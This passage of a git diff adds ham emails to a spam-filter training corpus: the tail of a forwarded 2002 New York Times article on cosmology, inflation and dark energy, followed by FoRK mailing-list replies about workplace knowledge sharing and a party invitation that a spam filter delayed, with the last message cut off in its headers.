the Carnegie Observatories in +Pasadena. Galaxies before then were small and irregular, +with no sign of the majestic spiral spider webs that +decorate the sky today. + +We would barely recognize our own Milky Way galaxy, if we +could see it five billion years ago when the Sun formed, he +said. + +"By eight billion years back, it would be unrecognizable," +said Dr. Dressler. + +Yet there are still many questions that the cold dark +matter model does not answer. Astronomers still do not +know, for example, how the first stars formed or why the +models of dark matter distribution don't quite fit in the +cores of some kinds of galaxies. Nor have the dark matter +particles themselves been unambiguously detected or +identified, despite continuing experiments. + +Some astronomers suggest that the discrepancies stem from +the inability of simple mathematical models to deal with +messy details of the real world. + +"It's a huge mystery exactly how stars form," Dr. Richard +Bond of the Canadian Institute for Theoretical Astrophysics +said. "We can't solve it now. So it's even harder to try to +solve them back then." + +But others, notably Dr. Mordehai Milgrom, a theorist at the +Weizmann Institute in Israel, have suggested that modifying +the gravitational laws by which dark matter was deduced in +the first place would alleviate the need for dark matter +altogether. + +The Bang's Fuel + +Inflating One Ounce +To a Whole Universe + + +Clues to what had actually exploded +in the Big Bang emerged as an unexpected gift from another +great scientific quest: physicists' pursuit for a so-called +theory of everything that would unite all physical +phenomena in a single equation. Unable to build machines +powerful enough to test their most ambitious notions on +Earth, some theorists turned to the sky. + +"The Big Bang is the poor man's particle accelerator," Dr. +Jakob Zeldovich, an influential Russian cosmologist, said. + +Physicists recognize four forces at work in the world +today - gravity, electromagnetism, and the strong and weak +nuclear forces. But they suspect, based on data from +particle accelerators and high-powered theory, that those +are simply different manifestations of a single unified +force that ruled the universe in its earliest, hottest +moments. + +As the universe cooled, according to this theory, there was +a fall from grace, and the laws of physics evolved, with +one force after another "freezing out," or splitting away. + +In 1979, Dr. Alan Guth, now at the Massachusetts Institute +of Technology, realized that a hypothesized glitch in this +process would have had drastic consequences for the +universe. Under some circumstances, a glass of water can +stay liquid as the temperature falls below 32 degrees, +until it is disturbed, at which point it will rapidly +freeze, releasing latent heat in the process. Similarly, +the universe could "supercool" and stay in a unified state +too long. In that case, space itself would become +temporarily imbued with a mysterious kind of latent heat, +or energy. + +Inserted into Einstein's equations, the latent energy would +act as a kind of antigravity, and the universe would blow +itself apart, Dr. Guth discovered in a calculation in 1979. + + +In far less than the blink of an eye, 10-37 second, a speck +much smaller than a proton would have swollen to the size +of a grapefruit and then resumed its more stately +expansion, with all of normal cosmic history before it, +resulting in today's observable universe - a patch of sky +and stars 14 billion light-years across. All, by the +magical-seeming logic of Einstein's equations, from about +an ounce of primordial stuff. + +"The universe," Dr. Guth liked to say, "might be the +ultimate free lunch." + +Dr. Guth called his theory inflation. Inflation, as Dr. +Guth pointed out, explains why the universe is expanding. +Dr. Turner of the University of Chicago referred to it as +"the dynamite behind the Big Bang." + +As modified and improved by Dr. Andrei Linde, now at +Stanford, and by Dr. Paul Steinhardt, now at Princeton and +Dr. Andreas Albrecht now at the University of California at +Davis, inflation has been the workhorse of cosmology ever +since. One of its great virtues, cosmologists say, is that +inflation explains the origin of galaxies, the main +citizens of the cosmos. The answer comes from the +paradoxical-sounding quantum rules that govern subatomic +affairs. On the smallest scales, according to quantum +theory, nature is lumpy, emitting even energy in little +bits and subject to an irreducible randomness. As a result, +so-called quantum fluctuations would leave faint lumps in +the early universe. These would serve as the gravitational +seeds for future galaxies and other cosmic structures. + +As a result of such successes, cosmologists have stuck with +the idea of inflation, even though, lacking the ability to +test their theories at the high energies of the Big Bang, +they have no precise theory about what might have actually +caused it. "Inflation is actually a class of theories," +said Dr. Guth. + +In the latest version, called "chaotic inflation," Dr. +Linde has argued that quantum fluctuations in a myriad of +theorized force fields could have done the trick. + +Indeed, he and others now say they believe that inflation +can occur over and over, spawning an endless chain of +universes out of one another, like bubbles within bubbles. + +"The universe inflates on top of itself," Dr. Linde told a +physics conference this spring in Princeton. "It's +happening right now." + +The Golden Age + +New Devices Detect +Primordial Glow +If the inflationary +theorists are right, the universe we see, the 14 billion +light-years, is just a tiny piece of a much vaster +universe, or even a whole ensemble of them, forever out of +our view. + +According to the theory, therefore, our own little patch of +the cosmos should appear geometrically "flat," the way a +section of a balloon looks flat when viewed close up. This +was the universe long thought to be the most beautiful and +simple. + +But it required, by the logic of Einstein's general +relativity, that there be much more dark matter, or +something, to the universe, enough to "flatten" space-time, +than astronomers had found. + +In fact, this prescription was so hard to reconcile with +other observations, of galaxies and their evolutions, that +by 1991 some astronomers and press reports suggested that +the entire theoretical edifice of inflation to blow up the +universe and cold dark matter to fill it, not to say the +Big Bang itself, might have to be junked. + +So it was with a sigh of relief that cosmologists greeted +the announcement in April 1992 that NASA's Cosmic +Background Explorer, or COBE, satellite had succeeded in +discerning faint blotches in the primordial cosmic radio +glow. + +These were the seeds from which, inflation predicted, large +cosmic structures would eventually grow. + +"If you're religious, it's like seeing God," said Dr. +George Smoot, a physicist from the Lawrence Berkeley +National Laboratory who led the COBE team. + +Astronomers say COBE signaled a transition in which heroic +ideas about the universe began to be replaced by heroic +data, as long-planned new telescopes and other instruments +went into operation. + +A year later, skywalking astronauts corrected the Hubble +telescope's myopic vision. The cosmic background radiation +has come in for particular scrutiny from new radio +telescopes mounted in balloons and on mountaintops. The +news has been good, though not decisive, for inflation. + +For three years, a series of increasingly high-resolution +observations has confirmed that the pattern of blotches +stippling the remnant of the primordial fireball is +consistent with the predictions from inflation and cold +dark matter. The instruments have now mapped details small +enough to have been the seeds of modern clusters of +galaxies. + +"I'm completely snowed by the cosmic background radiation," +Dr. Guth said. "The signal was so weak it wasn't even +detected until 1965, and now they're measuring fluctuations +of one part in 100,000." + +Perhaps most important, the analysis of the fluctuations +indicates that the universe has a "flat" geometry, as +predicted by inflation. That was a triumph. Although +observations could not prove that inflation was right, a +nonflat universe would have been a blow to the theory, and +to cosmological orthodoxy. + +"Inflation, our boldest and most promising theory of the +earliest moments of creation, passed its first very +important test," Dr. Turner said at the time. + +The most precise measurements of the cosmic background, at +least in the near future, are generally expected to come +late this year from NASA's Microwave Anisotropy Project, or +MAP, satellite, which was launched into space last year on +June 30. MAP will be followed by the European Space +Agency's Planck satellite, in 2006. + +It is highly unlikely that MAP or Planck will be able to +detect what Dr. Turner calls "the smoking gun signature of +inflation." The violent stretching of the universe should +roil space-time with so-called gravitational waves that +would leave a faint imprint on the cosmic fireball. + +Detecting those waves would not only confirm inflation, but +also might help scientists establish what caused the +inflation in the first place, giving science its first look +at the strange physics that prevailed when creation was +only about a trillionth of a trillionth of a trillionth of +a second old. + +The Universe's Fate + +Bleak Implications +Of `Dark Energy' + +In 1998, two competing teams of +astronomers startled the scientific world with the news +that the expansion of the universe seemed to be speeding up +under the influence of a mysterious antigravity that seems +embedded in space itself and that is hauntingly reminiscent +of Einstein's old, presumably discredited, cosmological +constant. + +"Dark energy," the phenomenon was quickly named. + +If dark +energy is real and the acceleration continues, the galaxies +will eventually speed away from one another so quickly that +they couldn't see one another. The universe would become +cold and empty as the continued acceleration sucked away +the energy needed for life and thought. + +It would be "the worst possible universe," for the quality +and quantity of life, said Dr. Lawrence Krauss, a physicist +at Case Western Reserve University. + +Dr. Edward Witten of the Institute for Advanced Study in +Princeton, called the discovery of dark energy "the +strangest experimental finding since I've been in physics." + + +The discovery was a surprise to the astronomers involved. +Neither team had expected to find the universe +accelerating. They had each set out to measure by how much +the expansion of the universe was slowing because of the +gravity of its contents and thus settle the question of its +fate. + +One team was led by Dr. Saul Perlmutter, a physicist at +Lawrence Berkeley. The other team was a band of astronomers +led by Dr. Brian Schmidt of Mount Stromlo and the Siding +Spring Observatory in Australia. + +Each group employed far-flung networks of telescopes, +including the Hubble, and the Internet to find and monitor +certain exploding stars, or supernovas, as cosmic beacons. +Such explosions, the death rattles of massive stars, are +powerful enough to be seen clear across the universe when +the universe was younger and, presumably, expanding faster. + + +Leapfrogging each other across the universe, the two teams, +propitiously for their credibility, arrived at the same +answer at the same time: the cosmos was not slowing at all; +it was speeding up. + +Dr. Perlmutter, who had once resented the competition, +conceded, "With only one group, it would have been a lot +harder to get the community to buy into such a surprising +result." + +"This was a very strange result," said Dr. Adam Riess, a +member of Dr. Schmidt's team. "It was the opposite of what +we thought we were doing." + +The results have sent Einstein's old cosmological constant +to the forefront of cosmology. Despite his disavowal, the +constant had never really gone away and had in fact been +given new life by quantum physics. Einstein had famously +rejected quantum's randomness, saying God didn't play dice. + + +But it justified, in retrospect, his fudge factor. + +According to the uncertainty principle, a pillar of quantum +theory, empty space was not empty, but rather foaming with +the energy of so-called virtual particles as they flashed +in and out of existence on borrowed energy. This so-called +vacuum energy could repel, just like Einstein's old +cosmological constant, or attract. + +The case for dark energy got even stronger a year later, +when the cosmic background observations reported evidence +of a flat universe. Because astronomers had been able to +find only about a third as much matter, both dark and +luminous, as was needed by Einstein's laws to create a flat +geometry, something else had to be adding to it. + +The discovery of dark energy exemplified Dr. Zeldovich's +view of the universe as the poor man's particle +accelerator, and it caught the physicists flat-footed, +somewhat to the pride of the astronomers. + +"A coming of age of astronomy," Dr. Dressler called it. + + +What is dark energy? The question now hangs over the +universe. + +Is it really Einstein's old fudge factor returned to haunt +his children? In that case, as the universe expands and the +volume of space increases, astronomers say, the push +because of dark energy will also increase, accelerating the +galaxies away from one another faster and faster, leading +to a dire dark future. + +Other physicists, however, have pointed out that the +theories of modern physics are replete with mysterious +force fields, collectively called "quintessence," that +might or might not exist, but that could temporarily +produce negative gravity and mimic the action of a +cosmological constant. In that case, all bets on the future +are off. The universe could accelerate and then decelerate, +or vice versa as the dark energy fields rose or fell. + +A third possibility is that dark energy does not exist at +all, in which case not just the future, but the whole +carefully constructed jigsaw puzzle of cosmology, might be +in doubt. The effects of cosmic acceleration could be +mimicked, astronomers say, by unusual dust in the far +universe or by unsuspected changes in the characteristics +of supernovas over cosmic time. As a result, more groups +are joining the original two teams in the hunt for new +supernovas and other ways to measure the effects of dark +energy on the history of the universe. + +Dr. Perlmutter has proposed building a special satellite +telescope, the Supernova Astronomy Project, to investigate +exactly when and how abruptly the cosmic acceleration +kicked in. + +The Nagging QuestionsA Grand Synthesis, +But Hardly Complete +For all the new answers being +harvested, some old questions linger, and they have now +been joined by new ones. + +A flat universe is the most mathematically appealing +solution of Einstein's equations, cosmologists agree. But +they are puzzled by the specific recipe, large helpings of +dark matter and dark energy, that nature has chosen. Dr. +Turner called it "a preposterous universe." + +But Dr. Martin Rees, a Cambridge University cosmologist, +said that the discovery of a deeper principle governing the +universe and, perhaps, life, may alter our view of what is +fundamental. Some features of the universe that are now +considered fundamental - like the exact mixture of dark +matter, dark energy and regular stuff in the cosmos - may +turn out to be mere accidents of evolution in one out of +the many, many universes allowed by eternal inflation. + +"If we had a theory, then we would know whether there were +many big bangs or one," Dr. Rees said. The answers to these +and other questions, many scientists suspect, have to await +the final unification of physics, a theory that reconciles +Einstein's relativity, which describes the shape of the +universe, to the quantum chaos that lives inside it. + +Such a theory, quantum gravity, is needed to describe the +first few moments of the universe, when it was so small +that even space and time should become fuzzy and +discontinuous. + +For two decades, many physicists have placed their bets for +quantum gravity on string theory, which posits that +elementary particles are tiny strings vibrating in a 10- or +11-dimensional space. Each kind of particle, in a sense, +corresponds to a different note on the string. + +In principle, string theory can explain all the forces of +nature. But even its adherents concede that their equations +are just approximations to an unknown theory that they call +M-theory, with "M" standing for matrix, magic, mystery or +even mother, as in "mother of all theories." Moreover, the +effects of "stringy physics" are only evident at energies +forever beyond the limits of particle accelerators. + +Some string theorists have ventured into cosmology, hoping, +to discover some effect that would show up in the poor +man's particle accelerator, the sky. + +In addition to strings, the theory also includes membranes, +or "branes," of various dimensions. Our universe can be +envisioned as such a brane floating in higher-dimensional +space like a leaf in a fish tank, perhaps with other brane +universes nearby. These branes could interact +gravitationally or even collide, setting off the Big Bang. + +In one version suggested last year by four cosmologists +led by Dr. Steinhardt of Princeton, another brane would +repeatedly collide with our own. They pass back and forth +through each other, causing our universe to undergo an +eternal chain of big bangs. + +Such notions are probably the future for those who are paid +to wonder about the universe. + +And the fruits of this work could yet cause cosmologists to +reconsider their new consensus, warned Dr. Peebles of +Princeton, who has often acted as the conscience of the +cosmological community, trying to put the brakes on faddish +trends. + +He wonders whether the situation today can be compared to +another historical era, around 1900, when many people +thought that physics was essentially finished and when the +English physicist Lord Kelvin said that just a couple of +"clouds" remained to be dealt with. + +"A few annoying tidbits, which turned out to be relativity +and quantum theory," the twin revolutions of 20th-century +science, Dr. Peebles said. + +Likewise, there are a few clouds today like what he called +"the dark sector," which could have more complicated +physics than cosmologists think. + +"I'm not convinced these clouds herald revolutions as deep +as relativity and quantum mechanics," Dr. Peebles said. +"I'm not arguing that they won't." + +As for the fate of the universe, we will never have a firm +answer, said Dr. Sandage, who was Hubble's protégé and has +seen it all. + +"It's like asking, `Does God exist?' " he said. + + +Predicting the future, he pointed out, requires faith that +simple mathematical models really work to describe the +universe. + +"I don't think we really know how things work," he said. + + +Although Dr. Sandage does not buy into all aspects of the +emerging orthodoxy, he said it was a fantastic time to be +alive. + +"It's all working toward a much grander synthesis than we +could have imagined 100 years ago," he said. "I think this +is the most exciting life I could have had." + +http://www.nytimes.com/2002/07/23/science/space/23UNIV.html?ex=1028416223&ei=1&en=ff38ea5fac0c9158 + + + +HOW TO ADVERTISE +--------------------------------- +For information on advertising in e-mail newsletters +or other creative advertising opportunities with The +New York Times on the Web, please contact +onlinesales@nytimes.com or visit our online media +kit at http://www.nytimes.com/adinfo + +For general information about NYTimes.com, write to +help@nytimes.com. + +Copyright 2002 The New York Times Company +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00814.ff683942c515bea6e0d58b02f54287c5 b/bayes/spamham/easy_ham_2/00814.ff683942c515bea6e0d58b02f54287c5 new file mode 100644 index 0000000..4817f59 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00814.ff683942c515bea6e0d58b02f54287c5 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Tue Jul 23 14:07:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 93906440CC + for ; Tue, 23 Jul 2002 09:07:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 14:07:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ND2j422704 for ; + Tue, 23 Jul 2002 14:02:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7683B2940E0; Tue, 23 Jul 2002 05:52:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sunserver.permafrost.net (u172n16.hfx.eastlink.ca + [24.222.172.16]) by xent.com (Postfix) with ESMTP id 3DE572940B0 for + ; Tue, 23 Jul 2002 05:51:03 -0700 (PDT) +Received: from [192.168.123.179] (helo=permafrost.net) by + sunserver.permafrost.net with esmtp (Exim 3.35 #1 (Debian)) id + 17WzEA-0005hH-00 for ; Tue, 23 Jul 2002 09:57:22 -0300 +Message-Id: <3D3D53F2.4090606@permafrost.net> +From: Owen Byrne +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.0) Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 10:02:42 -0300 + +> +> +> The question then becomes, why is knowledge sharing such a difficult +> thing in organizations? Is it, perhaps, not as difficult as the +> grousers say? I mistrust the romantic, Rousseauian argument that man +> is basically good but society basically corrupt, and that the later +> stifles the natural altruistic impulses. After all, it's in society +> that we share, as well as hoard. Is it that we think of "The +> Organization" as a machine, and like the research subjects get less +> neurological pleasure from cooperating with it than we would if it +> were humanized? Or ...? +> +> +> + +Well, IMNHO, its because companies do not reward knowledge sharers. When +time comes for evaluation, there isn't a line on the page saying "Helped +others to succeed with their projects." Sharing inevitably cuts into the +time for personal productive work, and generally shows up as a red flag +if your boss has a "management by exception"(1) style. + +Owen + +1. http://www.xrefer.com/entry/164669 + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00815.b6974616e6d50c4c37c2d6e9b289f60d b/bayes/spamham/easy_ham_2/00815.b6974616e6d50c4c37c2d6e9b289f60d new file mode 100644 index 0000000..028e23e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00815.b6974616e6d50c4c37c2d6e9b289f60d @@ -0,0 +1,64 @@ +From fork-admin@xent.com Tue Jul 23 16:55:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4764F440CC + for ; Tue, 23 Jul 2002 11:55:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 16:55:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NFtj407792 for ; + Tue, 23 Jul 2002 16:55:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 82F302940DE; Tue, 23 Jul 2002 08:45:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id C018D2940AB for ; + Tue, 23 Jul 2002 08:44:09 -0700 (PDT) +Received: from maya.dyndns.org (ts5-025.ptrb.interhop.net + [165.154.190.89]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6NFSUR00837; Tue, 23 Jul 2002 11:28:30 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 0AC6D1C39A; + Tue, 23 Jul 2002 11:53:03 -0400 (EDT) +To: khare@alumni.caltech.edu +Cc: fork@spamassassin.taint.org +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +References: <20020723091040.68A5258A4D@email5.lga2.nytimes.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 23 Jul 2002 11:53:02 -0400 + + +I wonder if the CEO dig also suggests proprietary software vendors +may in fact be /physiologically/ sociopathic... + +damn, now I've just been defacto excluded from yet another well-paid +subculture! it's just not my day. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00816.953e88a20d4acc17467a8ee832481093 b/bayes/spamham/easy_ham_2/00816.953e88a20d4acc17467a8ee832481093 new file mode 100644 index 0000000..29b5230 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00816.953e88a20d4acc17467a8ee832481093 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Tue Jul 23 17:39:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 834E9440CC + for ; Tue, 23 Jul 2002 12:39:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:39:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NGX8410974 for ; + Tue, 23 Jul 2002 17:33:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9BF7C294102; Tue, 23 Jul 2002 09:17:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 37BDD294100 for ; + Tue, 23 Jul 2002 09:16:35 -0700 (PDT) +Received: from maya.dyndns.org (ts5-046.ptrb.interhop.net + [165.154.190.110]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6NG10R03517 for ; Tue, 23 Jul 2002 12:01:00 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 2BBDD1C39A; + Tue, 23 Jul 2002 12:25:33 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +References: <3D3D53F2.4090606@permafrost.net> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 23 Jul 2002 12:25:33 -0400 + +>>>>> "O" == Owen Byrne writes: + + O> Well, IMNHO, its because companies do not reward knowledge + O> sharers. When time comes for evaluation, there isn't a line on + O> the page saying "Helped others to succeed with their projects." + +And yet, in my experience, it still happens, but always "unofficially" +and "off the record". It's as if we believe that "the gods" will +punish us if we are seen to have behaved in a human fashion while on +company time, either by being caught red-handed, or having the +paper-trail finger us later. Yet even CEOs will "pull strings" to +make things happen, and, also in my experience, those are the moments +when things actually do happen. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00817.2a6a5aea0eb48763d4c5c96793ea0a23 b/bayes/spamham/easy_ham_2/00817.2a6a5aea0eb48763d4c5c96793ea0a23 new file mode 100644 index 0000000..27298bc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00817.2a6a5aea0eb48763d4c5c96793ea0a23 @@ -0,0 +1,160 @@ +From fork-admin@xent.com Wed Jul 24 01:57:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 62115440CC + for ; Tue, 23 Jul 2002 20:57:58 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:57:58 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O0xp408090 for ; + Wed, 24 Jul 2002 01:59:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9222B2940ED; Tue, 23 Jul 2002 17:49:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id E86B82940A8 for ; Tue, + 23 Jul 2002 17:48:19 -0700 (PDT) +Received: (qmail 32188 invoked from network); 24 Jul 2002 00:57:30 -0000 +Received: from dsl-64-195-248-145.telocity.com (HELO golden) + (64.195.248.145) by relay1.pair.com with SMTP; 24 Jul 2002 00:57:30 -0000 +X-Pair-Authenticated: 64.195.248.145 +Message-Id: <01fb01c232ad$16a7ec70$640a000a@golden> +From: "Gordon Mohr" +To: +References: +Subject: Re: HD/ID: High-Def Independence Day +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 17:57:29 -0700 + +"SpamAssassin Killed My Independence Day Party" + +With all the spam that gets through, I had no idea +a filter was in effect at the FoRK listserv. + +Turn it off! It not only risks silent false +positives, but suffers them in such a way that +individuals cannot adjust/detect/remedy them. + +Also, anti-spam startups need end-users. +Centralized spam fighting takes food out +of those coders' mouths! + +I still think self-add whitelists are underrated. +A FoRK whitelist would presumably start with +all subscribers, and grow from there. Bouncing +problem mail, in a way that humans can understand +how to whitelist themselves for a resend, avoids +the problem of silent failures without opening the +door to lazy, forged-"from" spammers. + +- Gordon + +----- Original Message ----- +From: "Rohit Khare" +To: +Sent: Tuesday, July 23, 2002 12:25 PM +Subject: Re: HD/ID: High-Def Independence Day + + +> On Sunday, June 30, 2002, at 12:18 AM, Rohit Khare wrote: +> > You're all invited to join me for a South Bay Hi-Def spectacle at my +> > apartment in Sunnyvale on the Fourth! +> +> So here's the final report on the HD/ID party. As no less than TEN +> forkers pointed out, the invitation, while sent on Sunday 6/30, was only +> delivered ten days later on 7/9. +> +> It got flagged as spam. +> +> Yes, on a mailing list awash in crap -- and some it is even unsolicited +> commercial email, heavens! -- our trusty mailman filters captured and +> quarantined just two posts that week, one from me that was > 100K (the +> fat articles) and one that was bcc:d (the invite). +> +> Now, it was a little difficult to recalibrate self-esteem, which as you +> can imagine was proportional to the two-digit attendance -- in binary! +> +> According to the George Washington documentary, I almost had as much +> alcohol on hand than he did -- Virginia tradition being to copiously +> lubricate each voter. Election day was a public festival day, and it +> cost poor George an average of SIXTY-FOUR shots of hard liquor PER VOTER +> that day... +> +> So, herewith is the prize for most appropriate flame my delayed invite +> got: +> +> > I unfortunately will have had other plans and thus will +> > not be able to have made it. Yes. +> > +> > -faisal +> +> One of our competitors added: +> > Wow - I just got this now - I guess that was KnowLate! +> +> And there is no prize for guessing which cold, dark forks emitted these +> two plaints: +> +> From Whiny Dwarf: +> > Fix your mail server! just a bit late! +> +> And Angry Dwarf: +> > God DAAAAAMMMMMNNNNN IIIIITTT! I didn't see your message until now! +> > Fuck! Fuck! Fuck! +> > +> > We would have been there if I had seen the message before. Kuso! (as +> > the Japanese would say). +> > +> > Fuck. +> > Fuck. +> > Fuck. +> > Fuck. +> > Fuck. +> > Fuck. +> +> Perhaps I should remind the latter gently that it was not in any way his +> fault. The universe *was* out to get him! +> +> And finally, here's an object lesson for all ye of little faith to learn +> from my sins: +> +> > SpamAssassin rated it spam (barely). Gotta stop +> > using those "words and phrases which indicate porn" :-) +> +> Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if +> you call the Great American Shrine a... "boob tube" +> +> :-) +> Rohit +> +> PS. This is the obscure footnote where I actually hide the bits in this +> post. What we just encountered here is that an event-processing system +> with a 10-day RTT cannot be used to reliably handle events more often +> than once every 20 days. That's why I waited to reply. six bonus points +> to anyone who can prove this hunch of mine. Hint: try analyzing the +> problem in frequency-domain. +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00818.7e22fb9cf0354e4762607077254f7d68 b/bayes/spamham/easy_ham_2/00818.7e22fb9cf0354e4762607077254f7d68 new file mode 100644 index 0000000..43d99d9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00818.7e22fb9cf0354e4762607077254f7d68 @@ -0,0 +1,80 @@ +From fork-admin@xent.com Wed Jul 24 03:01:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 824CE440CC + for ; Tue, 23 Jul 2002 22:01:38 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:01:38 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O1wU411022 for ; + Wed, 24 Jul 2002 02:58:33 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2A8CB294109; Tue, 23 Jul 2002 18:42:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 8FCD42940E4 for + ; Tue, 23 Jul 2002 18:41:50 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 24 Jul 2002 01:50:53 -08:00 +Message-Id: <3D3E07FD.9040406@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores 